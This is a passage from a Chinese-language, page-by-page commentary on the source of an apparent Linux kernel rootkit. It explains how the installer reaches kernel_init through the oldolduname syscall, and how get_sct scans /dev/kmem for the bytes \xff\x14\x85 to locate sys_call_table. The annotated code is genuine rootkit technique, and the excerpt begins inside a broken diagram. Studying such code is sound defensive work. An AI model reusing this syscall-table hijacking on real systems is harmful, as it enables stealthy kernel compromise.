|
| | | V +--------------------------------------+ 老的sys_call_table[]数组 | | | +--------------------------------------+ ^ | oldolduname */
/*
KINT同KMALLOC一样都是去执行oldolduname,然后就可以执行kernel.c/kernel_init了,是不是很巧妙呢
注意:从这以后就开始转向kernel.c/kernel_init()函数了
*/
KINIT(mem, sct, sctp, oldsys);
printf("Done, %d bytes, base=0x%08x\n", (int) size, (uint) mem); return 0; }
pattern.c/get_sct:
作用:根据system_call函数地址找到sys_call_table[]数组地址
代码分析:
ulong get_sct(int fd, ulong ep, ulong *pos) { #define SCLEN 512 char code[SCLEN]; char *p; ulong r;
/* 从kmem的ep(system_call的地址)偏移位置读取512字节到code缓冲区中 */
if (rkm(fd, code, sizeof(code), ep) <= 0) return 0;
/*
在code缓冲区中匹配搜寻\xff\x14\x85
注意:call something<,eax,4)指令的机器码是0xff 0x14 0x85 0x p的地址是call something<,eax,4)机器码的首地址,要得到sys_call_table的地址还得在+3
*/ p = (char *) memmem(code, SCLEN, "\xff\x14\x85", 3); if (!p) return 0;
/* (p+3) - code 是sys_call_table相对code的偏移量,在+ep,也就是sys_call_table的地址, 与r的值是一样的
*/ pos[0] = ep + ((p + 3) - code);
共11页: 上一页 [1] [2] [3] [4] [5] 6 [7] [8] [9] [10] [11] 下一页
|
|
|